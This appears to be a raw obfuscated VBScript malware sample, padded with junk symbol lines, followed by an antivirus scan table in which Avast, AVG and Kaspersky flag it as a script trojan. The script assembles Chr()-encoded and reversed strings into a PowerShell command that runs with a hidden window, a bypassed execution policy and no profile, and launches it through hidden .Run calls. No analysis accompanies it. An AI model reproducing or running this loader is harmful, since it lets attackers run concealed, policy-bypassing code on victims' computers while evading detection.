}@#*#:

@@((#}

@####@

+}4", "t")

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

$($@$$

]@$}}(

:@*@$$

:", "a")

}@@@:(

}]4@#}@#

}@#*#:

@@((#}

@", "A")

MEByRRABczLIjLzbUgQpGfYZVMeoZUlJfMAAXAdUJAfGaCDbHBpbeXwzpICszlyaKmzShPjcDQocnSBWHhIZtVaqLUdLTjjuIPGW = MEByRRABczLIjLzbUgQpGfYZVMeoZUlJfMAAXAdUJAfGaCDbHBpbeXwzpICszlyaKmzShPjcDQocnSBWHhIZtVaqLUdLTjjuIPGW & StrReverse(Chr(34)&Chr(68)&Chr(120)&Chr(117)&Chr(106)&Chr(87)&Chr(79)&Chr(36)&Chr(32)&Chr(100)&Chr(110)&Chr(97)&Chr(109)&Chr(109)&Chr(111)&Chr(99)&Chr(45)&Chr(32)&Chr(101)&Chr(108)&Chr(105)&Chr(102)&Chr(111)&Chr(114)&Chr(80)&Chr(111)&Chr(78)&Chr(45)&Chr(32)&Chr(115)&Chr(115)&Chr(97)&Chr(112)&Chr(121)&Chr(98)&Chr(32)&Chr(121)&Chr(99)&Chr(105)&Chr(108)&Chr(111)&Chr(112)&Chr(110)&Chr(111)&Chr(105)&Chr(116)&Chr(117)&Chr(99)&Chr(101)&Chr(120)&Chr(101)&Chr(45)&Chr(32)&Chr(110)&Chr(101)&Chr(100)&Chr(100)&Chr(105)&Chr(104)&Chr(32)&Chr(101)&Chr(108)&Chr(121)&Chr(116)&Chr(115)&Chr(119)&Chr(111)&Chr(100)&Chr(110)&Chr(105)&Chr(119)&Chr(45)&Chr(32)&Chr(101)&Chr(120)&Chr(101)&Chr(46)&Chr(108)&Chr(108)&Chr(101)&Chr(104)&Chr(115)&Chr(114)&Chr(101)&Chr(119)&Chr(111)&Chr(112)&Chr(59)&Chr(34))

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

RMvnYAYMPwCawzOySdVYUclmmzXgKrzWCqBFORMDNVqHprtKdpxXRxFQUIkRomSJCZskCaopIdUEccXiLIEjYWeceSEsxPlFLiOH = Chr(112)&Chr(111)&Chr(119)&Chr(101)&Chr(114)&Chr(115)&Chr(104)&Chr(101)&Chr(108)&Chr(108)&Chr(32)&Chr(45)&Chr(99)&Chr(111)&Chr(109)&Chr(109)&Chr(97)&Chr(110)&Chr(100)&Chr(32) & Chr(34) & MEByRRABczLIjLzbUgQpGfYZVMeoZUlJfMAAXAdUJAfGaCDbHBpbeXwzpICszlyaKmzShPjcDQocnSBWHhIZtVaqLUdLTjjuIPGW & Chr(34)

DcFsHvBZWObCrvEITzJOQCZhqKiDvMwhHPHarCcRgpVBNPufFTeqAefwskxGkXZUgjITGciGegMFTdyCaPEmuSCNYcUitIAlkZpu.Run RMvnYAYMPwCawzOySdVYUclmmzXgKrzWCqBFORMDNVqHprtKdpxXRxFQUIkRomSJCZskCaopIdUEccXiLIEjYWeceSEsxPlFLiOH, 0, False

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

!@%$##$

@#*#@$

$&*##$@*@4

DcFsHvBZWObCrvEITzJOQCZhqKiDvMwhHPHarCcRgpVBNPufFTeqAefwskxGkXZUgjITGciGegMFTdyCaPEmuSCNYcUitIAlkZpu.Run MTLoxEDpprvpJasfcWfSERqbmZwMnZxabDcoCRbpVDzXxDiMHoTSowpsxTuZnVVzuFLTNbIFjvkltsNrsuTCsEJnCqBPzPrZzONE, 0, False

Antivirus	Signature
Bkav	Clean
Lionic	Clean
ClamAV	Clean
CMC	Clean
CAT-QuickHeal	Clean
Skyhigh	Clean
ALYac	Clean
Malwarebytes	Clean
Zillya	Clean
Sangfor	Clean
K7AntiVirus	Clean
K7GW	Clean
BitDefenderTheta	Clean
VirIT	Clean
Symantec	Clean
ESET-NOD32	Clean
TrendMicro-HouseCall	Clean
Avast	Script:SNH-gen [Trj]
Cynet	Clean
Kaspersky	HEUR:Trojan.Script.Generic
BitDefender	Clean
NANO-Antivirus	Clean
ViRobot	Clean
MicroWorld-eScan	Clean
Rising	Clean
Sophos	Clean
Baidu	Clean
F-Secure	Clean
DrWeb	Clean
VIPRE	Clean
TrendMicro	Clean
FireEye	Clean
Emsisoft	Clean
GData	Clean
Jiangmin	Clean
Google	Clean
Avira	Clean
MAX	Clean
Antiy-AVL	Clean
Kingsoft	Clean
Gridinsoft	Clean
Xcitium	Clean
Arcabit	Clean
SUPERAntiSpyware	Clean
ZoneAlarm	Clean
Microsoft	Clean
Varist	Clean
AhnLab-V3	Clean
Acronis	Clean
McAfee	Clean
TACHYON	Clean
VBA32	Clean
Zoner	Clean
Tencent	Clean
Yandex	Clean
Ikarus	Clean
MaxSecure	Clean
Fortinet	Clean
AVG	Script:SNH-gen [Trj]
Panda	Clean